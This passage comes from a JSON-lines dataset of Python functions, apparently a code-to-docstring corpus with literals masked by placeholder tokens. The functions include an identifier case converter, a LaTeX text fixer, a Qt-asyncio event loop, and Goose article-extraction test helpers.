a Stanford\nstyled format (as in the same format as the json return of the Stanford\nCoreNLP server dependency parser).\n\n:param texts: The List of Strings to be processed by TweeboParse.\n:param retry_count: The number of times it has retried for. Default\n                    0 does not require setting, main purpose is for\n                    recursion.\n:return: A list of dicts.\n:raises ServerError: Caused when the server is not running.\n:raises :py:class:`requests.exceptions.HTTPError`: Caused when the\n        input texts is not formated correctly e.g. When you give it a\n        String not a list of Strings.\n:raises :py:class:`json.JSONDecodeError`: Caused if after self.retries\n        attempts to parse the data it cannot decode the data.\n\n:Example:\n::\n    from tweebo_parser import API\n    tweebo_api = API()\n    text_data = ['hello how are you', 'Where are we going']\n    result = tweebo_api.parse_stanford(text_data)\n    print(result)\n    [{}]", "id": "f14017:c0:m3"}
{"signature": "def __init__(self, excpetion: requests.exceptions.RequestException,<EOL>hostname: str, port: int) -> None:", "body": "message = f'<STR_LIT>'<EOL>if isinstance(excpetion, requests.exceptions.Timeout):<EOL><INDENT>message = '<STR_LIT>'f'<STR_LIT>'<EOL><DEDENT>elif isinstance(excpetion, requests.exceptions.ConnectionError):<EOL><INDENT>message = '<STR_LIT>'f'<STR_LIT>'<EOL><DEDENT>self.message = message<EOL>", "docstring": ":param exception: The requests exception instance that is raised.\n:param hostname: The IP address of the API server.\n:param port: The Port that the API server is attached to.", "id": "f14017:c1:m0"}
{"signature": "def case(*, to, **kwargs):", "body": "if len(kwargs) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>[(typ, string)] = kwargs.items()<EOL>types = {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>if typ not in types:<EOL><INDENT>raise ValueError(f\"<STR_LIT>\")<EOL><DEDENT>if to not in types:<EOL><INDENT>raise ValueError(f\"<STR_LIT>\")<EOL><DEDENT>def pascal_iter(string):<EOL><INDENT>yield from (m.group(<NUM_LIT:0>) for m in re.finditer(r'<STR_LIT>', string))<EOL><DEDENT>def snake_iter(string):<EOL><INDENT>yield from (m.group(<NUM_LIT:2>) for m in re.finditer(r'<STR_LIT>', string))<EOL><DEDENT>inputs = {<EOL>'<STR_LIT>': pascal_iter,<EOL>'<STR_LIT>': pascal_iter,<EOL>'<STR_LIT>': snake_iter,<EOL>'<STR_LIT>': snake_iter,<EOL>}<EOL>def out_fun(sep, case=None, case_fst=None):<EOL><INDENT>if case is None:<EOL><INDENT>case = lambda x: x<EOL><DEDENT>if case_fst is None:<EOL><INDENT>case_fst = case<EOL><DEDENT>return lambda tokens: sep.join(case_fst(token) if i == <NUM_LIT:0> else case(token) for i, token in enumerate(tokens))<EOL><DEDENT>outputs = {<EOL>'<STR_LIT>': out_fun('<STR_LIT>', str.capitalize),<EOL>'<STR_LIT>': out_fun('<STR_LIT>', str.capitalize, str.lower),<EOL>'<STR_LIT>': out_fun('<STR_LIT:_>', str.lower),<EOL>'<STR_LIT>': out_fun('<STR_LIT:_>', str.upper),<EOL>}<EOL>tokens = inputs[typ](string)<EOL>return outputs[to](tokens)<EOL>", "docstring": "Converts an identifier from one case type to another.\n    An identifier is an ASCII string consisting of letters, digits and underscores, not starting with a digit.\n    The supported case types are camelCase, PascalCase, snake_case, and CONSTANT_CASE,\n    identified as camel, pascal, snake, and constant.\n    The input identifier is given as a keyword argument with one of these names,\n    and the output type is given as a string in the `to` keyword argument.\n    If a given string does not conform to the specified case type (such as underscores in camel or pascal case strings,\n    or double__underscores in general), the result may not be as desired,\n    although things like snaKe_casE or CONStaNT_CASe will generally work.", "id": "f14033:m0"}
{"signature": "def LatexText(*args, **kwargs):", "body": "return LatexFixer(*args, **kwargs).tostring()<EOL>", "docstring": "Transform a unicode string into another more compatible with latex,\n    fixing some common typographical errors", "id": "f14040:m0"}
{"signature": "def tostring(self):", "body": "return self.data<EOL>", "docstring": "Return self as instance of str()", "id": "f14040:c0:m1"}
{"signature": "def _sentence_to_interstitial_spacing(self):", "body": "not_sentence_end_chars = ['<STR_LIT:U+0020>']<EOL>abbreviations = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']<EOL>titles = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for abbrev in abbreviations:<EOL><INDENT>for x in not_sentence_end_chars:<EOL><INDENT>self._str_replacement(abbrev + x, abbrev + '<STR_LIT>')<EOL><DEDENT><DEDENT>for title in titles:<EOL><INDENT>for x in not_sentence_end_chars:<EOL><INDENT>self._str_replacement(title + x, title + '<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Fix common spacing errors caused by LaTeX's habit\n        of using an inter-sentence space after any full stop.", "id": "f14040:c0:m2"}
{"signature": "def _interstitial_to_sentence_spacing(self):", "body": "pass<EOL>", "docstring": "Fix errors where inter-sentence spacing\n        is not used after after a word ending with a capital letter.", "id": "f14040:c0:m3"}
{"signature": "def _latex_symbols(self):", "body": "substs = [('<STR_LIT>', '<STR_LIT>'), <EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>')]<EOL>for sub in substs:<EOL><INDENT>self._str_replacement(*sub)<EOL><DEDENT>", "docstring": "Replace unicode symbols with latex commands\n        where those symbols cannot be represented in utf mode.", "id": "f14040:c0:m4"}
{"signature": "def _hyphens_to_dashes(self):", "body": "problematic_hyphens = [(r'<STR_LIT>', r'<STR_LIT>'),<EOL>(r'<STR_LIT>', '<STR_LIT>'),<EOL>(r'<STR_LIT>', '<STR_LIT>')]<EOL>for problem_case in problematic_hyphens:<EOL><INDENT>self._regex_replacement(*problem_case)<EOL><DEDENT>", "docstring": "Transform hyphens to various kinds of dashes", "id": "f14040:c0:m5"}
{"signature": "def _str_replacement(self, target, replacement):", "body": "self.data = self.data.replace(target, replacement)<EOL>", "docstring": "Replace target with replacement", "id": "f14040:c0:m6"}
{"signature": "def _regex_replacement(self, target, replacement):", "body": "match = re.compile(target)<EOL>self.data = match.sub(replacement, self.data)<EOL>", "docstring": "Regex substitute target with replacement", "id": "f14040:c0:m7"}
{"signature": "def _process_events(self, events):", "body": "for f, callback, transferred, key, ov in events:<EOL><INDENT>try:<EOL><INDENT>self._logger.debug('<STR_LIT>'.format(callback))<EOL>value = callback(transferred, key, ov)<EOL><DEDENT>except OSError:<EOL><INDENT>self._logger.warning('<STR_LIT>', exc_info=sys.exc_info())<EOL><DEDENT>else:<EOL><INDENT>f.set_result(value)<EOL><DEDENT><DEDENT>", "docstring": "Process events from proactor.", "id": "f14045:c0:m1"}
{"signature": "def select(self, timeout=None):", "body": "if not self.__events:<EOL><INDENT>self._poll(timeout)<EOL><DEDENT>tmp = self.__events<EOL>self.__events = []<EOL>return tmp<EOL>", "docstring": "Override in order to handle events in a threadsafe manner.", "id": "f14045:c1:m1"}
{"signature": "def _poll(self, timeout=None):", "body": "if timeout is None:<EOL><INDENT>ms = UINT32_MAX  <EOL><DEDENT>elif timeout < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>ms = math.ceil(timeout * <NUM_LIT>)<EOL>if ms >= UINT32_MAX:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>with QtCore.QMutexLocker(self._lock):<EOL><INDENT>while True:<EOL><INDENT>status = _overlapped.GetQueuedCompletionStatus(self._iocp, ms)<EOL>if status is None:<EOL><INDENT>break<EOL><DEDENT>err, transferred, key, address = status<EOL>try:<EOL><INDENT>f, ov, obj, callback = self._cache.pop(address)<EOL><DEDENT>except KeyError:<EOL><INDENT>if key not in (<NUM_LIT:0>, _overlapped.INVALID_HANDLE_VALUE):<EOL><INDENT>_winapi.CloseHandle(key)<EOL><DEDENT>ms = <NUM_LIT:0><EOL>continue<EOL><DEDENT>if obj in self._stopped_serving:<EOL><INDENT>f.cancel()<EOL><DEDENT>elif not f.done():<EOL><INDENT>self.__events.append((f, callback, transferred, key, ov))<EOL><DEDENT>ms = <NUM_LIT:0><EOL><DEDENT><DEDENT>", "docstring": "Override in order to handle events in a threadsafe manner.", "id": "f14045:c1:m5"}
{"signature": "def with_logger(cls):", "body": "attr_name = '<STR_LIT>'<EOL>cls_name = cls.__qualname__<EOL>module = cls.__module__<EOL>if module is not None:<EOL><INDENT>cls_name = module + '<STR_LIT:.>' + cls_name<EOL><DEDENT>else:<EOL><INDENT>raise AssertionError<EOL><DEDENT>setattr(cls, attr_name, logging.getLogger(cls_name))<EOL>return cls<EOL>", "docstring": "Class decorator to add a logger to a class.", "id": "f14046:m0"}
{"signature": "def _fileobj_to_fd(fileobj):", "body": "if isinstance(fileobj, int):<EOL><INDENT>fd = fileobj<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>fd = int(fileobj.fileno())<EOL><DEDENT>except (AttributeError, TypeError, ValueError) as ex:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(fileobj)) from ex<EOL><DEDENT><DEDENT>if fd < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(fd))<EOL><DEDENT>return fd<EOL>", "docstring": "Return a file descriptor from a file object.\n\nParameters:\nfileobj -- file object or file descriptor\n\nReturns:\ncorresponding file descriptor\n\nRaises:\nValueError if the object is invalid", "id": "f14047:m0"}
{"signature": "def select(self, *args, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Implement abstract method even though we don't need it.", "id": "f14047:c1:m1"}
{"signature": "def _fileobj_lookup(self, fileobj):", "body": "try:<EOL><INDENT>return _fileobj_to_fd(fileobj)<EOL><DEDENT>except ValueError:<EOL><INDENT>for key in self._fd_to_key.values():<EOL><INDENT>if key.fileobj is fileobj:<EOL><INDENT>return key.fd<EOL><DEDENT><DEDENT>raise<EOL><DEDENT>", "docstring": "Return a file descriptor from a file object.\n\n        This wraps _fileobj_to_fd() to do an exhaustive search in case\n        the object is invalid but we still have it in our map.  This\n        is used by unregister() so we can unregister an object that\n        was previously registered even if it is closed.  It is also\n        used by _SelectorMapping.", "id": "f14047:c1:m2"}
{"signature": "def _key_from_fd(self, fd):", "body": "try:<EOL><INDENT>return self._fd_to_key[fd]<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the key associated to a given file descriptor.\n\nParameters:\nfd -- file descriptor\n\nReturns:\ncorresponding key, or None if not found", "id": "f14047:c1:m10"}
{"signature": "def _process_event(self, key, mask):", "body": "self._logger.debug('<STR_LIT>'.format(key, mask))<EOL>fileobj, (reader, writer) = key.fileobj, key.data<EOL>if mask & selectors.EVENT_READ and reader is not None:<EOL><INDENT>if reader._cancelled:<EOL><INDENT>self.remove_reader(fileobj)<EOL><DEDENT>else:<EOL><INDENT>self._logger.debug('<STR_LIT>'.format(reader))<EOL>reader._run()<EOL><DEDENT><DEDENT>if mask & selectors.EVENT_WRITE and writer is not None:<EOL><INDENT>if writer._cancelled:<EOL><INDENT>self.remove_writer(fileobj)<EOL><DEDENT>else:<EOL><INDENT>self._logger.debug('<STR_LIT>'.format(writer))<EOL>writer._run()<EOL><DEDENT><DEDENT>", "docstring": "Selector has delivered us an event.", "id": "f14047:c2:m3"}
{"signature": "def asyncClose(fn):", "body": "@functools.wraps(fn)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>f = asyncio.ensure_future(fn(*args, **kwargs))<EOL>while not f.done():<EOL><INDENT>QApplication.instance().processEvents()<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Allow to run async code before application is closed.", "id": "f14048:m1"}
{"signature": "def asyncSlot(*args):", "body": "def outer_decorator(fn):<EOL><INDENT>@Slot(*args)<EOL>@functools.wraps(fn)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>asyncio.ensure_future(fn(*args, **kwargs))<EOL><DEDENT>return wrapper<EOL><DEDENT>return outer_decorator<EOL>", "docstring": "Make a Qt async slot run on asyncio loop.", "id": "f14048:m2"}
{"signature": "def run_forever(self):", "body": "self.__is_running = True<EOL>self._before_run_forever()<EOL>try:<EOL><INDENT>self._logger.debug('<STR_LIT>')<EOL>rslt = self.__app.exec_()<EOL>self._logger.debug('<STR_LIT>'.format(rslt))<EOL>return rslt<EOL><DEDENT>finally:<EOL><INDENT>self._after_run_forever()<EOL>self.__is_running = False<EOL><DEDENT>", "docstring": "Run eventloop forever.", "id": "f14048:c3:m1"}
{"signature": "def run_until_complete(self, future):", "body": "self._logger.debug('<STR_LIT>'.format(future))<EOL>future = asyncio.ensure_future(future, loop=self)<EOL>def stop(*args): self.stop()  <EOL>future.add_done_callback(stop)<EOL>try:<EOL><INDENT>self.run_forever()<EOL><DEDENT>finally:<EOL><INDENT>future.remove_done_callback(stop)<EOL><DEDENT>self.__app.processEvents()  <EOL>if not future.done():<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self._logger.debug('<STR_LIT>'.format(future))<EOL>return future.result()<EOL>", "docstring": "Run until Future is complete.", "id": "f14048:c3:m2"}
{"signature": "def stop(self):", "body": "if not self.__is_running:<EOL><INDENT>self._logger.debug('<STR_LIT>')<EOL>return<EOL><DEDENT>self._logger.debug('<STR_LIT>')<EOL>self.__is_running = False<EOL>self.__app.exit()<EOL>self._logger.debug('<STR_LIT>')<EOL>", "docstring": "Stop event loop.", "id": "f14048:c3:m3"}
{"signature": "def is_running(self):", "body": "return self.__is_running<EOL>", "docstring": "Return True if the event loop is running, False otherwise.", "id": "f14048:c3:m4"}
{"signature": "def close(self):", "body": "if self.is_running():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if self.is_closed():<EOL><INDENT>return<EOL><DEDENT>self._logger.debug('<STR_LIT>')<EOL>if self.__default_executor is not None:<EOL><INDENT>self.__default_executor.shutdown()<EOL><DEDENT>super().close()<EOL>self._timer.stop()<EOL>self.__app = None<EOL>for notifier in itertools.chain(self._read_notifiers.values(), self._write_notifiers.values()):<EOL><INDENT>notifier.setEnabled(False)<EOL><DEDENT>self._read_notifiers = None<EOL>self._write_notifiers = None<EOL>", "docstring": "Release all resources used by the event loop.\n\nThe loop cannot be restarted after it has been closed.", "id": "f14048:c3:m5"}
{"signature": "def call_later(self, delay, callback, *args, context=None):", "body": "if asyncio.iscoroutinefunction(callback):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not callable(callback):<EOL><INDENT>raise TypeError('<STR_LIT>'.format(type(callback).__name__))<EOL><DEDENT>self._logger.debug(<EOL>'<STR_LIT>'<EOL>.format(callback, args, delay))<EOL>if sys.version_info >= (<NUM_LIT:3>, <NUM_LIT:7>):<EOL><INDENT>return self._add_callback(asyncio.Handle(callback, args, self, context=context), delay)<EOL><DEDENT>return self._add_callback(asyncio.Handle(callback, args, self), delay)<EOL>", "docstring": "Register callback to be invoked after a certain delay.", "id": "f14048:c3:m6"}
{"signature": "def call_soon(self, callback, *args, context=None):", "body": "return self.call_later(<NUM_LIT:0>, callback, *args, context=context)<EOL>", "docstring": "Register a callback to be run on the next iteration of the event loop.", "id": "f14048:c3:m8"}
{"signature": "def call_at(self, when, callback, *args, context=None):", "body": "return self.call_later(when - self.time(), callback, *args, context=context)<EOL>", "docstring": "Register callback to be invoked at a certain time.", "id": "f14048:c3:m9"}
{"signature": "def time(self):", "body": "return time.monotonic()<EOL>", "docstring": "Get time according to event loop's clock.", "id": "f14048:c3:m10"}
{"signature": "def add_reader(self, fd, callback, *args):", "body": "self._check_closed()<EOL>try:<EOL><INDENT>existing = self._read_notifiers[fd]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>existing.setEnabled(False)<EOL>existing.activated.disconnect()<EOL><DEDENT>notifier = QtCore.QSocketNotifier(fd, QtCore.QSocketNotifier.Read)<EOL>notifier.setEnabled(True)<EOL>self._logger.debug('<STR_LIT>'.format(fd))<EOL>notifier.activated.connect(<EOL>lambda: self.__on_notifier_ready(<EOL>self._read_notifiers, notifier, fd, callback, args)  <EOL>)<EOL>self._read_notifiers[fd] = notifier<EOL>", "docstring": "Register a callback for when a file descriptor is ready for reading.", "id": "f14048:c3:m11"}
{"signature": "def remove_reader(self, fd):", "body": "if self.is_closed():<EOL><INDENT>return<EOL><DEDENT>self._logger.debug('<STR_LIT>'.format(fd))<EOL>try:<EOL><INDENT>notifier = self._read_notifiers.pop(fd)<EOL><DEDENT>except KeyError:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>notifier.setEnabled(False)<EOL>return True<EOL><DEDENT>", "docstring": "Remove reader callback.", "id": "f14048:c3:m12"}
{"signature": "def add_writer(self, fd, callback, *args):", "body": "self._check_closed()<EOL>try:<EOL><INDENT>existing = self._write_notifiers[fd]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>existing.setEnabled(False)<EOL>existing.activated.disconnect()<EOL><DEDENT>notifier = QtCore.QSocketNotifier(fd, QtCore.QSocketNotifier.Write)<EOL>notifier.setEnabled(True)<EOL>self._logger.debug('<STR_LIT>'.format(fd))<EOL>notifier.activated.connect(<EOL>lambda: self.__on_notifier_ready(<EOL>self._write_notifiers, notifier, fd, callback, args)  <EOL>)<EOL>self._write_notifiers[fd] = notifier<EOL>", "docstring": "Register a callback for when a file descriptor is ready for writing.", "id": "f14048:c3:m13"}
{"signature": "def remove_writer(self, fd):", "body": "if self.is_closed():<EOL><INDENT>return<EOL><DEDENT>self._logger.debug('<STR_LIT>'.format(fd))<EOL>try:<EOL><INDENT>notifier = self._write_notifiers.pop(fd)<EOL><DEDENT>except KeyError:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>notifier.setEnabled(False)<EOL>return True<EOL><DEDENT>", "docstring": "Remove writer callback.", "id": "f14048:c3:m14"}
{"signature": "def call_soon_threadsafe(self, callback, *args, context=None):", "body": "self.__call_soon_signal.emit(callback, args)<EOL>", "docstring": "Thread-safe version of call_soon.", "id": "f14048:c3:m17"}
{"signature": "def run_in_executor(self, executor, callback, *args):", "body": "self._logger.debug('<STR_LIT>'.format(callback, args))<EOL>if isinstance(callback, asyncio.Handle):<EOL><INDENT>assert not args<EOL>assert not isinstance(callback, asyncio.TimerHandle)<EOL>if callback._cancelled:<EOL><INDENT>f = asyncio.Future()<EOL>f.set_result(None)<EOL>return f<EOL><DEDENT>callback, args = callback.callback, callback.args<EOL><DEDENT>if executor is None:<EOL><INDENT>self._logger.debug('<STR_LIT>')<EOL>executor = self.__default_executor<EOL><DEDENT>if executor is None:<EOL><INDENT>self._logger.debug('<STR_LIT>')<EOL>executor = self.__default_executor = QThreadExecutor()<EOL><DEDENT>return asyncio.wrap_future(executor.submit(callback, *args))<EOL>", "docstring": "Run callback in executor.\n\n        If no executor is provided, the default executor will be used, which defers execution to\n        a background thread.", "id": "f14048:c3:m18"}
{"signature": "def default_exception_handler(self, context):", "body": "self._logger.debug('<STR_LIT>')<EOL>message = context.get('<STR_LIT:message>')<EOL>if not message:<EOL><INDENT>message = '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>exception = context['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>exc_info = False<EOL><DEDENT>else:<EOL><INDENT>exc_info = (type(exception), exception, exception.__traceback__)<EOL><DEDENT>log_lines = [message]<EOL>for key in [k for k in sorted(context) if k not in {'<STR_LIT:message>', '<STR_LIT>'}]:<EOL><INDENT>log_lines.append('<STR_LIT>'.format(key, context[key]))<EOL><DEDENT>self.__log_error('<STR_LIT:\\n>'.join(log_lines), exc_info=exc_info)<EOL>", "docstring": "Handle exceptions.\n\n        This is the default exception handler.\n\n        This is called when an exception occurs and no exception\n        handler is set, and can be called by a custom exception\n        handler that wants to defer to the default behavior.\n\n        context parameter has the same meaning as in\n        `call_exception_handler()`.", "id": "f14048:c3:m21"}
{"signature": "def assert_tags(self, field, expected_value, result_value):", "body": "<EOL>expected_value = set(expected_value)<EOL>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>self.assertEqual(len(result_value), len(expected_value), msg=msg)<EOL>for tag in result_value:<EOL><INDENT>self.assertTrue(tag in expected_value)<EOL><DEDENT>", "docstring": "\\", "id": "f14057:c0:m0"}
{"signature": "def loadData(self):", "body": "full_id = self.id().split('<STR_LIT:.>')<EOL>test, module, cls, func = full_id<EOL>path = os.path.join(<EOL>os.path.dirname(CURRENT_PATH),<EOL>'<STR_LIT>',<EOL>\"<STR_LIT:data>\",<EOL>module.partition('<STR_LIT>')[<NUM_LIT:2>],<EOL>\"<STR_LIT>\" % func)<EOL>path = os.path.abspath(path)<EOL>content = FileHelper.loadResourceFile(path)<EOL>self.data = json.loads(content)<EOL>", "docstring": "\\", "id": "f14059:c0:m1"}
{"signature": "def runArticleAssertions(self, article, fields):", "body": "for field in fields:<EOL><INDENT>expected_value = self.data['<STR_LIT>'][field]<EOL>result_value = getattr(article, field, None)<EOL>if field in ['<STR_LIT>']:<EOL><INDENT>self.assertEqual(type(result_value), type(datetime.today()))<EOL>result_value = result_value.isoformat(sep='<STR_LIT:U+0020>')<EOL><DEDENT>assertion = '<STR_LIT>' % field<EOL>if hasattr(self, assertion):<EOL><INDENT>getattr(self, assertion)(field, expected_value, result_value)<EOL>continue<EOL><DEDENT>msg = \"<STR_LIT>\" % (field, expected_value, result_value)<EOL>self.assertEqual(expected_value, result_value, msg=msg)<EOL><DEDENT>", "docstring": "\\", "id": "f14059:c0:m4"}
{"signature": "def getArticle(self, config_=None):", "body": "<EOL>self.loadData()<EOL>self.loadHtml()<EOL>config = self.getConfig()<EOL>if config is not None:<EOL><INDENT>if isinstance(config_, dict):<EOL><INDENT>for k, v in list(config_.items()):<EOL><INDENT>if hasattr(config, k):<EOL><INDENT>setattr(config, k, v)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self.parser = config.get_parser()<EOL>target_language = self.data.get('<STR_LIT>')<EOL>if target_language:<EOL><INDENT>config.target_language = target_language<EOL>config.use_meta_language = False<EOL><DEDENT>with open('<STR_LIT>'.format(CURRENT_PATH), '<STR_LIT:rb>') as fobj:<EOL><INDENT>img_content = fobj.read()<EOL><DEDENT>with open('<STR_LIT>'.format(CURRENT_PATH), '<STR_LIT:rb>') as fobj:<EOL><INDENT>blank_img = fobj.read()<EOL><DEDENT>g = Goose(config=config)<EOL>with requests_mock.Mocker(real_http=False) as m:<EOL><INDENT>m.get('<STR_LIT>', content=blank_img)<EOL>m.get('<STR_LIT>', content=blank_img)<EOL>m.get('<STR_LIT>', content=img_content)<EOL>if \"<STR_LIT:url>\" in self.data:<EOL><INDENT>m.get(self.data['<STR_LIT:url>'], text=self.html)<EOL>return g.extract(url=self.data['<STR_LIT:url>'])<EOL><DEDENT>else:<EOL><INDENT>return g.extract(raw_html=self.html)<EOL><DEDENT><DEDENT>", "docstring": "\\", "id": "f14059:c0:m6"}
{"signature": "def clean_title(self, title):", "body": "<EOL>if \"<STR_LIT>\" in list(self.article.opengraph.keys()):<EOL><INDENT>site_name = self.article.opengraph['<STR_LIT>']<EOL>title = title.replace(site_name, '<STR_LIT>').strip()<EOL><DEDENT>elif (self.article.schema and \"<STR_LIT>\" in self.article.schema and<EOL>\"<STR_LIT:name>\" in self.article.schema[\"<STR_LIT>\"]):<EOL><INDENT>site_name = self.article.schema[\"<STR_LIT>\"][\"<STR_LIT:name>\"]<EOL>title = title.replace(site_name, '<STR_LIT>').strip()<EOL><DEDENT>if self.article.domain:<EOL><INDENT>pattern = re.compile(self.article.domain, re.IGNORECASE)<EOL>title = pattern.sub(\"<STR_LIT>\", title).strip()<EOL><DEDENT>title_words = title.split()<EOL>if title_words and title_words[<NUM_LIT:0>] in TITLE_SPLITTERS:<EOL><INDENT>title_words.pop(<NUM_LIT:0>)<EOL><DEDENT>if not title_words:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>if title_words[-<NUM_LIT:1>] in TITLE_SPLITTERS:<EOL><INDENT>title_words.pop(-<NUM_LIT:1>)<EOL><DEDENT>title = \"<STR_LIT:U+0020>\".join(title_words).strip()<EOL>return title<EOL>", "docstring": "Clean title with the use of og:site_name\n        in this case try to get rid of site name\n        and use TITLE_SPLITTERS to reformat title", "id": "f14072:c0:m0"}
{"signature": "def get_title(self):", "body": "title = '<STR_LIT>'<EOL>if \"<STR_LIT:title>\" in list(self.article.opengraph.keys()):<EOL><INDENT>return self.clean_title(self.article.opengraph['<STR_LIT:title>'])<EOL><DEDENT>elif self.article.schema and \"<STR_LIT>\" in self.article.schema:<EOL><INDENT>return self.clean_title(self.article.schema['<STR_LIT>'])<EOL><DEDENT>meta_headline = self.parser.getElementsByTag(self.article.doc,<EOL>tag=\"<STR_LIT>\",<EOL>attr=\"<STR_LIT:name>\",<EOL>value=\"<STR_LIT>\")<EOL>if meta_headline is not None and len(meta_headline) > <NUM_LIT:0>:<EOL><INDENT>title = self.parser.getAttribute(meta_headline[<NUM_LIT:0>], '<STR_LIT:content>')<EOL>return self.clean_title(title)<EOL><DEDENT>title_element = self.parser.getElementsByTag(self.article.doc, tag='<STR_LIT:title>')<EOL>if title_element is not None and len(title_element) > <NUM_LIT:0>:<EOL><INDENT>title = self.parser.getText(title_element[<NUM_LIT:0>])<EOL>return self.clean_title(title)<EOL><DEDENT>return title<EOL>", "docstring": "\\\n        Fetch the article title and analyze it", "id": "f14072:c0:m1"}
{"signature": "def get_video(self, node):", "body": "video = Video()<EOL>video._embed_code = self.get_embed_code(node)<EOL>video._embed_type = self.get_embed_type(node)<EOL>video._width = self.get_width(node)<EOL>video._height = self.get_height(node)<EOL>video._src = self.get_src(node)<EOL>video._provider = self.get_provider(video.src)<EOL>return video<EOL>", "docstring": "Create a video object from a video embed", "id": "f14073:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def get_video_tag(node):<DEDENT>", "body": "return Video()<EOL>", "docstring": "extract html video tags", "id": "f14073:c0:m9"}
{"signature": "def get_language(self):", "body": "<EOL>if self.config.use_meta_language:<EOL><INDENT>if self.article.meta_lang:<EOL><INDENT>return self.article.meta_lang[:<NUM_LIT:2>]<EOL><DEDENT><DEDENT>return self.config.target_language<EOL>", "docstring": "Returns the language is by the article or\nthe configuration language", "id": "f14074:c0:m0"}
{"signature": "def is_boostable(self, node):", "body": "para = \"<STR_LIT:p>\"<EOL>steps_away = <NUM_LIT:0><EOL>minimum_stopword_count = <NUM_LIT:5><EOL>max_stepsaway_from_node = <NUM_LIT:3><EOL>nodes = self.walk_siblings(node)<EOL>for current_node in nodes:<EOL><INDENT>current_node_tag = self.parser.getTag(current_node)<EOL>if current_node_tag == para:<EOL><INDENT>if steps_away >= max_stepsaway_from_node:<EOL><INDENT>return False<EOL><DEDENT>para_text = self.parser.getText(current_node)<EOL>word_stats = self.stopwords_class(language=self.get_language()).get_stopword_count(para_text)<EOL>if word_stats.get_stopword_count() > minimum_stopword_count:<EOL><INDENT>return True<EOL><DEDENT>steps_away += <NUM_LIT:1><EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "\\\n        alot of times the first paragraph might be the caption under an image\n        so we'll want to make sure if we're going to boost a parent node that\n        it should be connected to other paragraphs,\n        at least for the first n paragraphs so we'll want to make sure that\n        the next sibling is a paragraph and has at\n        least some substatial weight to it", "id": "f14074:c0:m4"}
{"signature": "def get_siblings_content(self, current_sibling, baselinescore_siblings_para):", "body": "if current_sibling.tag == '<STR_LIT:p>' and self.parser.getText(current_sibling):<EOL><INDENT>tmp = current_sibling<EOL>if tmp.tail:<EOL><INDENT>tmp = deepcopy(tmp)<EOL>tmp.tail = '<STR_LIT>'<EOL><DEDENT>return [tmp]<EOL><DEDENT>else:<EOL><INDENT>potential_paragraphs = self.parser.getElementsByTag(current_sibling, tag='<STR_LIT:p>')<EOL>if potential_paragraphs is None:<EOL><INDENT>return None<EOL><DEDENT>paragraphs = list()<EOL>for first_paragraph in potential_paragraphs:<EOL><INDENT>text = self.parser.getText(first_paragraph)<EOL>if text:  <EOL><INDENT>word_stats = self.stopwords_class(language=self.get_language()).get_stopword_count(text)<EOL>paragraph_score = word_stats.get_stopword_count()<EOL>sibling_baseline_score = float(<NUM_LIT>)<EOL>high_link_density = self.is_highlink_density(first_paragraph)<EOL>score = float(baselinescore_siblings_para * sibling_baseline_score)<EOL>if score < paragraph_score and not high_link_density:<EOL><INDENT>para = self.parser.createElement(tag='<STR_LIT:p>', text=text, tail=None)<EOL>paragraphs.append(para)<EOL><DEDENT><DEDENT><DEDENT>return paragraphs<EOL><DEDENT>", "docstring": "adds any siblings that may have a decent score to this node", "id": "f14074:c0:m7"}
